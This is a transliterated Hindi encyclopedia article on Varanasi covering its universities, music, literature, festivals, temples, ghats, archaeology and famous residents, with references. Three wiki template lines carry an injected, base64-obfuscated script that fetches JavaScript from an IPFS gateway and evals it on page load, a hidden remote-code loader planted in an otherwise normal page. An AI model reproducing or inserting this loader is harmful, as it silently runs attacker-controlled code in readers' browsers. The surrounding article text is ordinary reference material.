yatriyoan ke vishram ke liye aksar chaurahoan par sabhaean banavayi jati thian. inamean sone ke lie asandi aur pani ke gh de rakhe hote the. inake charoan or divarean hoti thi aur ek or phatak. bhitar zamin par baloo bichhi hoti thi aur ta d vrikshoan ki qatarean lagi hoti thi.
shikshan sansthan
[[chitr:Banaras-Hindu-University.jpg|thumb|250px|kashi hindoo vishvavidyalay]] varanasi poorv se hi vidya aur shiksha ke kshen mean ek aham pracharak aur kendriy sanstha ke roop mean sthapit tha. madhyakal ke dauran uttar pradesh mean udar parampara ka sanchalan tha. varanasi 'hindoo shiksha kendr' ke roop mean vishvavyapak hua. varanasi ke uchchatar madhyamik vidyalay 'iandiyan sartiphiket aauf saikeandari ejukeshan' [103], 'kendriy madhyamik shiksha bord' [104] ya 'uttar pradesh madhyamik shiksha parishad' [105] se sahabaddh haian. prachin kal se hi log yahaan darshan shastr, sanskrit, khagol shastr, samajik jnan evan dharmik shiksha adi ke jnan ke liye ate rahe haian. bharatiy paranpara mean prayah varanasi ko sarvavidya ki rajadhani kaha gaya hai. varanasi mean ek jamiya salafiya bhi hai, jo salafi islami shiksha ka kendr hai.
kashi hindoo vishvavidyalay
kashi hindoo vishvavidyalay ya banaras hindoo vishvavidyalay varanasi mean sthit ek kendriy vishvavidyalay hai. is vishvavidyalay ki sthapana [106] ke aantargat huee thi. pandit madanamohan malaviy ne kashi hindoo vishvavidyalay ki sthapana ka prarambh 1904 ee. mean kiya, jab kashi naresh 'maharaj prabhunarayan sianh' ki adhyakshata mean sansthapakoan ki pratham baithak huee. 1905 ee. mean vishvavidyalay ka pratham pathyakram prakashit hua. [[chitr:Sampurnanand-Sanskrit-University.jpg|thumb|left|220px|sampoornanand sanskrit vishvavidyalay]]
sampoornanand sanskrit vishvavidyalay
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sampoornanand sanskrit vishvavidyalay ki sthapana 1791 ee. mean bharat ke gavarnar janaral l aaurd k aaurnavalis ne ki thi. varanasi ka yah pratham mahavidyalay tha. je myor, aee.si.es is mahavidyalay ke pratham pradhanachary, sanskrit pradhyapak the.
mahatma gaandhi kashi vidyapith
[[chitr:Mahatma-Gandhi-Kashi-Vidyapeeth.JPG|thumb|250px|mahatma gaandhi kashi vidyapith]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varanasi ka yah ek manit rajapatrit vishvavidyalay hai. is vidyapith ka nam bharat ke rashtrapita mahatma gaandhi ke nam par hai. is vidyapith mean gaandhi ji ke siddhaantoan ka palan kiya jata hai.
kendriy uchch tibbati shiksha sansthan
yah ianstityoot saranath mean sthit hai. yahaan par paranparagat tibbati pathan-pathan ko adhunik shiksha ke sath variyata di jati hai. 'uday pratap mahavidyalay' ek svayatt mahavidyalay hai jahaan adhunik banaras ke upanagariy chhatroan hetu kri da evan vijnan ka kendr hai. varanasi mean bahut se niji evan sarvajanik sansthan hai, jahaan hindoo dharmik shiksha ki vyavastha hai. in vishvavidyalayoan ke alava shahar mean kee snatakottar evan snatak mahavidyalay bhi haian, jaise - agrasen digri k aaulej, harishachandr digri k aaulej, ary mahila digri k aaulej evan skool aauf mainejameant.
kala
sangit
varanasi gayan evan vady donoan hi vidyaoan ka keandr raha hai. sumadhur thumari bharatiy kanth sangit ko varanasi ki vishesh den hai . thumb|200px|vady bajate hue kalakar, varanasi isamean dhireandr baboo, b di moti, chhoti moti, sidhdeshvar devi, rasoolan baee, kashi baee, anavari begam, shaanta devi tatha is samay girija devi adi ka nam samast bharat mean b de gaurav evan samman ke sath liya jata hai. inake atirikt b de ramadas tatha shrichandr mishr, gayan kala mean apani sani nahian rakhate . tabala vadakoan mean kanthe maharaj, anokhe lal, gudee maharaj, krishnaa maharaj desh- videsh mean apana nam kar chuke haian. shahanaee vadan evan nrity mean bhi kashi mean nand lal, ustad bismilla khaan tatha sitara devi jaisi pratibhaean paida huee haian. [[chitr:Ustad-Bismillah-khan.jpg|thumb|left|ustad bismilla khaan]]
sahity
varanasi sanskrit sahity ka keandr to rahi hi hai, lekin isake sath hi is nagar ne hindi tatha urdoo mean anek sahityakaroan ko bhi janm diya hai, jinhoanne sahity seva ki tatha desh mean gaurav poorn sthan prapt kiya. inamean bharateandu harishchandr, ayodhyasianh upadhyay 'hariaudh', jayashankar prasad, premachand, shyamasundar das, ray krishnadas, achary ramachandr shukl, ramachandr varma, bechan sharma "ugr", vinodashankar vyas, krishnadev prasad gau d tatha d aau. sanpoornanand ullekhaniy haian. [[chitr:Premchand.jpg|thumb|muanshi premachand|160px]] inake atirikt urdoo sahity mean bhi yahaan anek jane- mane lekhak evan shayar hue haian. jinamean mukhyatah shri vishvanath prasad shad, maulavi mahesh prasad, maharaj chetasianh, shekhali haji, aga hashr kashmiri, hukum chandr naiyar, pro. haphij banarasi, shri haq banarasi tatha nazir banarasi ka nam ata hai.
utsavapriyata
varanasi ke nivasiyoan ki utsavapriyata ka ullekh jatakoan mean savistar milata hai. mahajanapad yug mean dipavali ka ullekh mukhy tyoharoan mean hua hai. ek jatak mean ullekhit hai ki kashi ki dipamalika kartik mas mean manayi jati thi. is avasar par sthiyaan keshariya rang ke vastr pahanakar nikalati thian.[107]
hastimangalotsav
hastimangalotsav bhi varanasi ka ek pramukh utsav tha,[108] jisaka ullekh jatakoan evan bauddh sahity mean milata hai. isake atirikt mandirotsav bhi manaya jata tha, jisamean surapan kiya jata tha.[109] ek jatak mean ullekh aya hai ki kashiraj ne ek bar is avasar par tapasviyoan ko khoob surapan karaya tha.[110]
varanasi ke mandir
varanasi mean kee pramukh mandir sthit haian. varanasi kee pramukh mandiroan ka nagar hai. varanasi mean lagabhag har ek chaurahe par ek mandir sthit hai. dainik sthaniy archana ke liye aise chhote mandir sahayak hote haian. in chhote mandiroan ke sath hi varanasi mean dheroan b de mandir bhi haian, jo samay-samay par varanasi ke itihas mean banavaye gaye the. [[chitr:Kashi-Vishwanath.jpg|thumb|left|vishvanath mandir, varanasi]] varanasi mean sthit in mandiroan mean kashi vishvanath mandir, annapoorna mandir, dhuandhiraj ganesh, kal bhairav, durga ji ka mandir, sankatamochan, tulasi manas mandir, naya vishvanath mandir, bharatamata mandir, sankatha devi mandir v vishalakshi mandir pramukh haian.
kashi vishhvanath mandir
mool kashi vishhvanath mandir bahut chhota tha. 18vian shatabhdi mean iandaur ki rani ahilhyabaee holhkar ne ise bhavhy roop pradan kiya. panjab ke shasak raja ranjit sianh ne 1835 ee. mean is mandir ke shikhar ko sone se madhavaya tha. is karan is mandir ka ek anhy nam golhden temhpal bhi p da. yah mandir kee bar dhhvasht kiya gaya. vartaman mean jo mandir hai usaka nirman chauthi bar mean hua hai. qutubuddin aibak ne sarvapratham ise 1194 ee. mean dhhvasht kiya tha. raziya sultan (1236-1240) ne isake dhhvansavashesh par raziya masjid ka nirman karavaya tha. isake bad is mandir ka nirman abhimukhteshhvar mandir ke nazadik banavaya gaya. bad mean is mandir ko jaunapur ke sharki rajaoan ne tu dava diya. 1490 ee. mean is mandir ko sikandar lodi ne dhhvans karavaya tha. 1585 ee. mean banaras ke ek prasiddh vhyapari todaramal ne is mandir ka nirman karavaya. 1669 ee. mean is mandir ko aurangazeb ne pun: tu dava diya. aurangazeb ne bhi is mandir ke dhhvansavashesh par ek masjid ka nirman karavaya tha.
varanasi ke ghat
varanasi (kashi) mean ganga tat par anek suandar ghat bane haian, ye sabhi ghat kisi n kisi pauranik ya dharmik katha se sanbandhit haian. varanasi ke ghat ganga nadi ke dhanush ki akriti hone ke karan manohari lagate haian. sabhi ghatoan ke poorvarbhimukh hone se sooryoday ke samay ghatoan par pahali kiran dastak deti hai. uttar disha mean rajaghat se prarambh hokar dakshin mean assi ghat tak sau se adhik ghat haian. varanasi mean ashsighat se lekar varuna ghat tak sabhi ki kramavar soochi nimn hai:-
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rajaghat utkhanan
rajaghat ki prachinata aur usaka satat itihas kisi puratatvik utkhanan se 1940 ee. tak nishchit nahian tha. isaki prachin sthiti vartaman kashi steshan ke uttar-poorvi mean ganga aur varuna ke madhy thi, jise 'rajaghat tile' ke nam se jana jata hai. isaki akasmik khoj 1939 ee. mean vartaman kashi steshan ke vistar ke samay relave thekedaroan dvara khudaee karate samay huee.[111] khudaee mean in thekedaroan ko bahut-si prachin vastuean milian jinamean mitti ki muharean evan mudrayean bhi thian. in vastuoan ko ab 'bharat kala bhavan' aur 'ilahabad myoonisipal myooziyam' mean rakha gaya hai. in mudraoan mean mukhyat: yoonani devi-devataoan ki akritiyaan tatha kuchh yoonani rajaoan ke sir ka aankan hai. yahaan se mili vastuoan se akrisht hokar shri krishnadev ke netritv mean bharatiy puratattv vibhag ke ek dal ne yahaan utkhanan praranbh kiya. is dal ne oopari jamav se 20 phut niche tak khudaee ki.
paryatan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varanasi, paryatakoan ke lie akarshan ka keandr hai. yahaan anek dharmik, aitihasik evan suandar darshaniy sthal haian, jinhean dekhane ke lie desh ke hi nahian, sansar bhar se paryatak ate haian aur is nagari tatha yahaan ki sanskriti ki bhoori-bhoori prashansa karate haian. kala, sanskriti, sahity aur rajaniti ke vividh kshetroan mean apani alag pahachan banaye rakhane ke karan varanasi any nagaroan ki apeksha apana vishisht sthan rakhati hai . desh ki rashtrabhasha hindi ki janani sanskrit ki udbhav sthali kashi saanskritik ekata ka pratik hai.
vibhootiyaan
varanasi mean prachin kal se samay-samay par anek mahan vibhootiyoan ka pradurbhav ya vas hota raha haian. inamean se kuchh is prakar haian-
| nam | vivaran | chitr |
|---|---|---|
| bharat ratn sammanit bismilla khaan (janm- 21 march 1916 - mrityu- 21 agast, 2006 ) ek prakhyat shahanaee vadak the. 1969 mean eshiyaee sangit sammelan ke rostam puraskar tatha anek any puraskaroan se sammanit bismilla khaan ne shahanaee ko bharat ke bahar ek pahachan pradan kiya hai. .... aur padhean | center|70px|ustad bismilla khaan | |
| pandit ravishankar (janm- 7 aprॅl, 1920 banaras) vishv mean bharatiy shastriy sangit ki utkrishtata ke sabase b de udaghoshak haian. ek sitar vadak ke roop mean unhoanne khyati arjit ki hai. ravi shankar aur sitar manoan ek-doosare ke lie hi bane haian. vah is sadi ke sabase mahan sangitajnoan mean gine jate haian. .... aur padhean | center|70px|pandit ravishankar | |
| pandit madan mohan malaviy (janm- 25 disambar, 1861, ilahabad; mrityu- 12 navambar, 1946) mahan svatantrata senani, rajanitijn aur shikshavid hi nahian, balki ek b de samaj sudharak bhi the. itihasakar visi sahoo ke anusar hindoo rashtravad ke samarthak madan mohan malaviy desh se jatigat be diyoan ko to dana chahate the. unhoanne dalitoan ke mandiroan mean pravesh nishedh ki buraee ke khilaf deshabhar mean aandolan chalaya. .... aur padhean | center|70px|pandit madanamohan malaviy | |
| d aau. hajari prasad dvivedi (janm- 19 agast, 1907 ee., gaanv 'arat dube ka chhapara', baliya zila, bharat; mrityu- san 1978 ee.) hindi ke shirshasthaniy sahityakaroan mean se haian. ve uchchakoti ke nibandhakar, upanyas lekhak, alochak, chintak tatha shodhakarta haian. sahity ke in sabhi kshetroan mean dvivedi ji apani pratibha aur vishisht kartavy ke karan vishesh yash ke bhagi hue haian. dvivedi ji ka vyaktitv garimamay, chittavritti udar aur drishtikon vyapak hai. dvivedi ji ki pratyek rachana par unake is vyaktitv ki chhap dekhi ja sakati hai. .... aur padhean | center|70px|hajari prasad dvivedi | |
| mahatma kabiradas ke janm ke samay mean bharat ki rajanitik, samajik, arthik evan dharmik dasha shochaniy thi. ek taraph musalaman shasakoan ki dharmaanndhata se janata pareshan thi aur doosari taraph hindoo dharm ke karmakaand, vidhan aur pakhand se dharm ka hras ho raha tha. janata mean bhakti- bhavanaoan ka sarvatha abhav tha. panditoan ke pakhandapoorn vachan samaj mean phaile the. aise sangharsh ke samay mean, kabiradas ka prardubhav hua. .... aur padhean | center|70px|kabir | |
| gosvami tulasidas 1497(1532?) - 1623 ek mahan kavi the. unaka janm rajapur, (vartaman baanda zila) uttar pradesh mean hua tha. tulasi ka bachapan b de kashtoan mean bita. mata-pita donoan chal base aur inhean bhikh maangakar apana pet palana p da tha. isi bich inaka parichay ram-bhakt sadhuoan se hua aur inhean jnanarjan ka anupam avasar mil gaya. .... aur padhean | center|70px|gosvami tulasidas | |
| bharatendu harishchandr ka janm kashi nagari ke prasiddh 'seth amichand' ke vansh mean 9 sitambar san 1850 ko hua. inake pita 'baboo gopal chandr' bhi ek kavi the. inake gharane mean vaibhav evan pratishtha thi. jab inaki avastha matr 5 varsh ki thi, inaki mata chal basi aur das varsh ki ayu mean pita ji bhi chal base. bharatendu ji vilakshan pratibha ke vyakti the. inhoanne apane paristhitiyoan se gambhir prerana li. inake mitr mandali mean b de-b de lekhak, kavi evan vicharak the, jinaki batoan se ye prabhavit the. inake pas vipul dhanarashi thi, jise inhoanne sahityakaroan ki sahayata hetu mukt hast se dan kiya. .... aur padhean | center|70px|bharatendu harishchandr | |
| mahakavi jayashankar prasad (janm- 30 janavari, 1889 ee.,varanasi, uttar pradesh, mrityu- 15 navambar, san 1937) hindi naty jagat aur katha sahity mean ek vishisht sthan rakhate haian. katha sahity ke kshetr mean bhi unaki den mahattvapoorn hai. bhavana-pradhan kahani likhane valoan mean jayashankar prasad anupam the. .... aur padhean | center|70px|jayashankar prasad | |
| bharat ke upanyas samrat muanshi premachand (janm- 31 julaee, 1880 - mrityu- 8 aktoobar, 1936) ke yug ka vistar san 1880 se 1936 tak hai. yah kalakhand bharat ke itihas mean bahut mahattv ka hai. is yug mean bharat ka svatantrata-sangram nee manziloan se guzara. .... aur padhean | center|70px|premachand | |
| kh di boli ko kavy bhasha ke pad par pratishthit karane vale kaviyoan mean ayodhyasianh upadhyay 'hariaudh' (janm- 15 aprail, 1865, mrityu- 16 march, 1947) ka nam bahut adar se liya jata hai. unnisavian shatabdi ke antim dashak mean 1890 ee. ke as-pas ayodhyasianh upadhyay ne sahity seva ke kshetr mean padarpan kiya. .... aur padhean | center|70px|ayodhyasianh upadhyay | |
| ramachandr shukl ji ka janm basti zile ke agona namak gaanv mean san 1884 ee. mean hua tha. san 1888 ee. mean ve apane pita ke sath rath hamirapur gaye tatha vahian par vidyadhyayan prarambh kiya. san 1892 ee. mean unake pita ki niyukti mirzapur mean sadar qanoonago ke roop mean ho gee aur ve pita ke sath mirzapur a gaye. .... aur padhean | center|70px|ramachandr shukl | |
| jhaansi ki rani lakshmibaee ka janm 19 navanbar, 1828 ko kashi ke puny v pavitr kshetr asighat, varanasi mean hua tha. inake pita ka nam 'moropant taanbe' aur mata ka nam 'bhagirathi baee' tha. inaka bachapan ka nam 'manikarnika' rakha gaya parantu pyar se manikarnika ko 'manu' pukara jata tha. manu ki avastha abhi char-paanch varsh hi thi ki usaki maan ka dehant ho gaya. .... aur padhean | center|70px|rani lakshmibaee | |
| eesa ki satavi shatabdi mean shankar ke roop mean svayan bhagavan shiv ka avatar hua tha. adi shankarachary jinhean 'shankar bhagavadpadachary' ke nam se bhi jana jata hai, vedaant ke advait mat ke praneta the. avataravad ke anusar, eeshvar tab avatar leta hai, jab dharm ki hani hoti hai. dharm aur samaj ko vyavasthit karane ke lie hi ashutosh shiv ka agaman dakshin-bharat ke keral rajy ke kaladi़ gram mean hua tha . .... aur padhean | center|70px|adi shankarachary |
janasankhya
2001 ki janaganana ke anusar nagar nigam kshetr ki janasankhya 11,22,748 hai, chhavani kshetr ki janasankhya 17,246 aur zile ki janasankhya 31,3867 hai.[112]
varanasi par kavita
hindi ke prasiddh kavi shrikrishna saral ki chandrashekhar azad par likhi gee anupam kavita haian -
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| link=#top|center|oopar jayean |
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chitr vithika
- chitr:Sadhu-Varanasi-2.jpg
sadhu, varanasi
- chitr:View-Of-Benaras.jpg
banaras ka drishy
- chitr:Sadhu-Varanasi.jpg
sadhu, varanasi
- chitr:Manikarnika-Ghat-Varanasi.jpg
manikarnika ghat, varanasi
- chitr:Ganga-River-Varanasi-3.jpg
ganga nadi, varanasi
- chitr:Ganga-River-Varanasi-1.jpg
ganga nadi, varanasi
- chitr:Prayag-Ghat-Varanasi-1.jpg
prayag ghat, varanasi
- chitr:Ganga-River-Varanasi-4.jpg
ganga nadi, varanasi
- chitr:Varanasi-Ghat.jpg
varanasi ghat par anand uthate bachche
- chitr:Varanasi.jpg
nav ki savari karate paryatak, varanasi
- chitr:Varanasi-1.jpg
bandar, varanasi
- chitr:Varanasi-2.jpg
banarasi sa di mean videshi mahila, varanasi
- chitr:Varanasi-3.jpg
ek mahila shramik, varanasi
- chitr:Varanasi-4.jpg
doodh ubalata ek vyakti, varanasi
- chitr:Varanasi-Schoolbus.jpg
bachche, varanasi
- chitr:Varanasi-5.jpg
pandit ji, varanasi
- chitr:Bath-In-The-Ganga.jpg
varanasi ke ghat par snan karata ek vyakti
- chitr:Varanasi-Ghat-1.jpg
varanasi ke ghat par snan karati mahilayean
- chitr:Buffalo-Ganga-River-Varanasi.jpg
ganga nadi me bhaiansean
- chitr:Bath-In-The-Ganga-1.jpg
varanasi ke ghat par bachche ko snan karati mahila
- chitr:Bath-In-The-Ganga-2.jpg
varanasi ke ghat par snan karate bachche
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tika tippani aur sandarbh
- REDIRECT saancha:tippanisoochi
- ↑ dayana el ik, banaras siti aauf lait (nyooyark, 1982), pratham sanskaran, prishth 4
- ↑ em. e. sheriang, di sekred sitij aauf di hindooj, (landan, 1968) prishth 19-34
- ↑ je. maradak, kashi aur banaras (1894) prishth 5
- ↑ ee. gribj, kashi, ilahabad, 1909, prishth 3-4
- ↑ e. parakar, e haiandabuk aauf banaras, prishth 2
- ↑ ee.vi. haivel, banaras di sekred siti prishth 41-50
- ↑ ramalochan sianh, banaras, ek siti in arban jyographi, prishth 31
- ↑ varanasiti yath khyatan tammanan nigadamiv. dakshinatarayau nayau paranasishchapoornat:॥- padmapuran, kashi mahatmy 5/58
- ↑ atharvaved, 4/7/1
- ↑ aianshyeant jyographi aauf iandiya, (varanasi, 1963), prishth 367
- ↑ em. jooliyan, laiph eand pilagrimej aauf yuv aaunh-chvang, 1/133,2/354
- ↑ mahabharat, 6/10/30
- ↑ sheriang, di sekred siti aauf banaras, (landan, 1968), prishth 19
- ↑ motichandr, kashi ka itihas, (banbee, pratham sanskaran, 1962 ee.) prishth 4
- ↑ bhagnavashesho ke adhar par
- ↑ baean tat par
- ↑ yasy ayam:. 2/1/16, ashtadhyayi panini
- ↑ ‘‘anugangan varanasi anushonan pataliputran’’ kilaharn, 1/380
- ↑ jems legge, trevels aauf fahyan, (dilli, 1972, dvitiy sanskaran), prishth 94
- ↑ ‘‘kashasy kashayo rajanh putrodirghatapastatha.’’ – harivanshapuran, adhyay 29
- ↑ ‘‘kashate trayato jyotistadanakhyemaposhvar:. atonaparan chastukashiti prathitaanvibho.’ ॥68॥ kashi khand, adhyay 26
- ↑ shatapath brahman, 1/4/1/10-17: motichandr, kashi ka itihas, prishth 19
- ↑ ee.bi.haivel, banaras, di sekred siti, (kalakatta punarmudit, 1968 ee.),prishth 2
- ↑ mahabharat, 6/10/30
- ↑ tatrev, adiparv, adhyay 95
- ↑ tatrev, udyogaparv, 72/74
- ↑ tatraiv, 12/99/1-2
- ↑ valmiki ramayan, uttarakaand 56/25
- ↑ tatraiv, 59/19
- ↑ mahikal mahi chapi shail kanan shobhitamh. brahmamalaanvidehashch malavan kashi koshalanh॥ balmikiramayan, kishkiandhakaand, 20,22
- ↑ ‘‘yatr narayano devo mahadevi divishvar:.’’ vayu puran, adhyay 34, pankti 100
- ↑ ‘‘ayodhya mathura maya kashi kaanchi avantika. puri dvaravati chaiv sapaite mokshadayika:.’’ padmapuran, adhyay 33, pankti 102
- ↑ ‘‘saurashtre somanath ch shrishaile mallikarjunamh.
ujjayinyaan mahakalamokare parameshvaramh॥
kedar himavatprishthe dakinya bhimashankaramh.
varanasya ch vishveshan tramvyakan gautamitate॥
vaidyanath chitabhoomau nageshan darukavane.
setubandhe ch rameshan ghushmeshan tu shivalaye॥
dvadashaitani namani pratarutthan y: patheth.
sarvapapaiviniryukt: sarvasiddhiphalan labheth. shivapuran, koti rudrasanhita, sankhya 1/21-24 - ↑ motichandr, kashi ka itihas, prishth 5
- ↑ ‘‘madbhaktastatr gachchhanti mameb pravishanti ch’’ padmapuran, adhyay 33, pankti 102
- ↑ vatars, bhag 2, prishth 47
- ↑ dviyojan tu parv syadyojanarddh tadanyatha. varuna ch nadi chasi madhye varanasi tayo॥ agnipuran, adhyay 11, prishth 6
- ↑ matsyapuranadviyojanamh tu tatkshetran poorvapashchimat: smritam:.
arddhayojan vistirn tatkshetran dakshinottaramh॥
varanasi tadiya ch yavatachhulkanaditu vai॥
bhishmachandikamarabhy parvateshvar matrike॥ matsyapuran, 183/61-62 - ↑ sanbhavat: varanasi nadi adhunik varana hai. shukl nadi ganga hai aur bhishmachandi adhunik bhimachandi hai jo panchakroshi ke raste par p data hai. parvateshvar ki nishchit janakari nahian ho paee hai lekin yah sanbhavat: rajaghat ke asapas kahian raha hoga.
- ↑ kalpasootr, 6/149-169: motichandr, kashi ka itihas, prishth 38
- ↑ varanasi pravishyath bhasa sanbhasayanjin:. chakar kashideshiyanh kautukakraantachetas:. buddhacharit, 15/101
- ↑ haraman jaikobi, sekred buk aauf di eest, jild 49, bhag 1, prishth 169
- ↑ bhagavati sootr, prishth 15
- ↑ sthanaangasootr 10, 717 nishirath sootr 9, 19
- ↑ haraman jaikobi, sekred buk aauf di eest, jild 22, prishth 266 aur 271
- ↑ sumangalavilasini, jild 2, prishth 383
- ↑ ‘‘bhootapubban bhikkhave brahmadatte nam kashiraja ahosi addho mahaddhano mahabbalo, mahabahano, mahavijito, paripunnakosakotthamaro.’’
mahabaggo (vinayapitak), dutiyo bhago, prishth 262 - ↑ mahavastu, bhag 3, prishth 402
- ↑ divyavadan, prishth 73 : dekhean, vimalacharan laha, prachin bharat ka aitihasik bhoogol
- ↑ dighanikay, bhag. (salakkhandhasutt), prishth 84 (hindi)
- ↑ jatak, (bhadant anand kausalyayan sanskaran), jild paanchavian, prishth 177 (sutasom jatak )
- ↑ 111- tatraiv, jild chauthi, prishth 104 (uday jatak)
- ↑ 112- tatraiv, jild chauthi, prishth 119 (sonadand jatak)
- ↑ tatraiv, jild chauthi, prishth 119 (yuvanjay jatak)
- ↑ tatraiv, jild chauthi, prishth 15 (shankh jatak)
- ↑ jems legge, di trevels aauf fahyanh (oriyantal pablishars, nee dilli, dvitiy sanskaran, 1972 ee.) prishth 94-96
- ↑ thamas varts, an yuv aaun chvaangs trevels in iandiya, (landan, rayal eshiyatik sosayati, 1905 ee.), bhag 2, prishth 46
- ↑ e. kaniangham, di aianshyeanth jyographi aauf iandiya (iandolajikal buk haus, varanasi, 1963), prishth 367
- ↑ yatra vivaran ke mool ko ikattha karane vale phanchi ka kahana hai ki is dev mandir mean 100 phit ooanche shivaliang ki pooja ki jati thi.
- ↑ motichandr, kashi ka itihas, prishth 2
- ↑ 61.0 61.1 61.2 61.3 61.4 61.5 kashi ki bhaugolik sthiti (hindi) (ech.ti.em.el) kashivishvanath. abhigaman tithi: 28 aprॅl, 2011.
- ↑ (prishth 34, 58, 69)
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- ↑ (haloog daha jis par vishveshvar ganj ka bazar basa hai)
- ↑ matsy puran pri.39
- ↑ matsy puran pri.39
- ↑ ashtadhyayi 2/1/16
- ↑ kilaharn 6,380
- ↑ vinayapitak, jild 1, prishth 262
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- ↑ suttanipat, adhyay 2, prishth 523
- ↑ kaianbrij histri aauf iandiya, bhag 1, prishth 213
- ↑ mahavastu, 3, 286
- ↑ jatak, khand 3, prishth 384
- ↑ jatak, khand 4, prishth 2, kashi ka itihas, prishth 49
- ↑ mahavagg, 10/2/3
- ↑ dighanikay, bhag 3, 60. 1-10 (nalanda)
- ↑ jatak, bhag 2, sankhya 156, prishth 183 (bhadant anand kausalyayan sanskaran)
- ↑ ‘‘ek bhoomidvibhoomikadi bhede gehe sajjetva’’ motichandr, kashi ka itihas, prishth 48
- ↑ 129- jatak, bhag 3 sankhya 221, prishth 395
- ↑ ‘‘kasikavatthan nivasenti, kashikavilepan’’ jatak, bhag 1, sankhya 20, prishth 505
- ↑ ann panan kashikan chandananch. manapitthiyo malamuchchhadananch॥ jatak, bhag 5, sankhya 518, prishth 166
- ↑ 108- aanguttaranikay, jild tisari, prishth 391
- ↑ miliandapanhoan, prishth 243-48
- ↑ jatak, bhag 2, prishth 287 jatak, bhag 1, (tandanali jatak, prishth 208)
- ↑ sanyuktanikay (hindi anuvad), doosara bhag, prishth 641
- ↑ ‘‘varanasiyan kir kappaso pi mridu, suttakattikayo pi tattavayo pi chheka. udakanpi suchisiniddhan, tasmaan vatthan ubhato bhavavimatthan hoti. dvis passesu matthan mridusiniddhan khayati.’’majjhimanikay, 2/3/7: dekhean, bharat sianh upadhyay, buddhakalin bharatiy bhoogol, prishth 368
- ↑ ‘‘...kasikuttamadharini.... kassohay gachchhasi’’ -therigatha, prishth 298
- ↑ 107- miliandapanho, prishth 222
- ↑ jatak, bhag 3 san. 243, prishth 356 jatak, bhag 5 sankhya 256, prishth 61
- ↑ motichandr sarthavah, prishth 12
- ↑ jatak, bhag 3, prishth 348
- ↑ jatak, khand 6 san. 539 (mahajanak jatak)
- ↑ tatraiv, khand 6, sankhya 547 (mahavesatt jatak)
- ↑ tatraiv bhag 3 prishth 286 motichandr, kashi ka itihas, prishth 47
- ↑ jatak sankhya 457 dekhean, udayanarayan ray, prachin bharat mean nagar tatha nagar jivan, prishth 126
- ↑ yan kianviratanan atthi kasiraj nivesane.
rajatan jataroopanchan mukta beluriya bahu.
manayo sankhamuttany vatthakan harichandanan.
ajinan datt bhandany lohan, kalayanan bahu॥ jatak, bhag 5 (san. 534) prishth 462 - ↑ jatak 384
- ↑ (jatak 3/326)
- ↑ 11vian sadi ka aranbh
- ↑ agara ki ek tahasil
- ↑ (aee.si.es.ee)
- ↑ si.bi.es.ee
- ↑ yoo.pi.bord
- ↑ (banaras hindoo vishvavidyalay ekt, ekt kramaank 16, san 1915)
- ↑ jatak, bhag 2, prishth 145 (sankhya 147) motichandr, kashi ka itihas, prishth 45
- ↑ jatak, bhag 2, sankhya 163, prishth 215
- ↑ jatak, bhag 2, sankhya 163, prishth 132
- ↑ 139- jatak, bhag 1, prishth 208
- ↑ vidya prakash evan ti.en. ray, buletin aauf d yoo.pi. histarikal sosaiti, sankhya 4 (saits eand manumeants aauf yoo.pi.) lakhanoo, 1965 prishth 33
- ↑ varanasi (aangrezi) (ech.ti.em.el) varanasi ki adhikarik vebasait. abhigaman tithi: 23 faravari, 2011.
bahari k diyaan
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sanbandhit lekh
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